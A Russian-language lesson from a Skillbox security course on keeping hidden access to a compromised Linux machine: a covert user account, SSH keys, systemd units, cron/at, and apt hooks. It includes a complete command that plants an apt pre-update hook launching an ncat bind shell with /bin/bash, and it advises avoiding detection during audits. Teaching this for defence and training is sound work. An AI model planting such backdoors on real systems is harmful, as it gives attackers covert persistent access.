# Запуск вредоносного кода

**Сабина Жигальская**
Специалист по комплексной защите информации

Skillbox

# Цель урока

Узнать способы запуска вредоносного кода.

# Не потеряй бэкконнект!

Обязательно нужно помнить, что получив доступ к машине, очень важно его не потерять. Отключение узла или завершение процесса разрывает так называемый бекконнект — связь целевой машины и той, с которой осуществляется атака.

# 1 способ: adduser/useradd

Можно создать своего пользователя в системе. Главное условие — сделать это максимально незаметно, чтобы его не удалили при очередном аудите машины.

```
user@kali:~#adduser hacker
user@kali:~# useradd -s /bin/bash hacker
```

# 2 способ: SSH-ключи

Другой способ не потерять доступ при смене пароля или при перезагрузке системы — это прописать свой открытый ключ в ~/.ssh/authorized_keys.

Техника реализуется путём создания своего ключа с помощью ssh-keygen и добавления публичного ключа *.pub в authorized_keys на целевой системе.

# 3 способ: автозагрузка

Автозагрузка — это любое действие, которое будет выполняться автоматически при старте системы или входе пользователя на хост.

Можно создать свой сервис, который вписывается в параметр Requires другого легитимного сервиса в системе. Также добавляется код в секцию OnFailure.

# 4 способ: демоны

Кроме сервисов, вы можете создавать своих демонов.

Типов юнитов systemd довольно много, и можно использовать любые в зависимости от ваших целей: service, device, target, mount, automount, timer, socket, path, slice.

# 5 способ: crontab и at

Crontab — это планировщик заданий в Linux, который позволяет выполнять указанные команды через определённый период.

Альтернативной утилитой для создания запланированных заданий в системе является at. Но в отличие от crontab созданные с помощью неё задачи выполняются только один раз.

# 6 способ: apt-get

Конфигурационные файлы утилиты apt (менеджер пакетов) хранятся в директории /etc/apt/apt.conf.d/. Если у вас есть право на запись в эту директорию, то существует потенциальный способ закрепления.

```
user@kali:~# echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```

# Выводы урока

- Есть много техник закрепления в UNIX-системах, которые позволят оставаться там даже после перезагрузки
- Вся суть закрепления в том, чтобы как можно дольше продержаться в системе, а значит, надо оставаться незамеченным

# Выводы модуля

- Разобрались в пространстве ядра и пространстве пользователя
- Узнали про системы инициализации, а именно про систему init и систему systemd
- Поняли, почему эти две системы имеют столько **за** и **против**
- Поговорили про уровни запуска
- Разобрали уровни выключения системы на примере двух систем — systemd и init
- Узнали, что такое вредоносное ПО
- Поговорили про структуру управления и контроля (C&C)
- Потренировались сохранять код при перезагрузке системы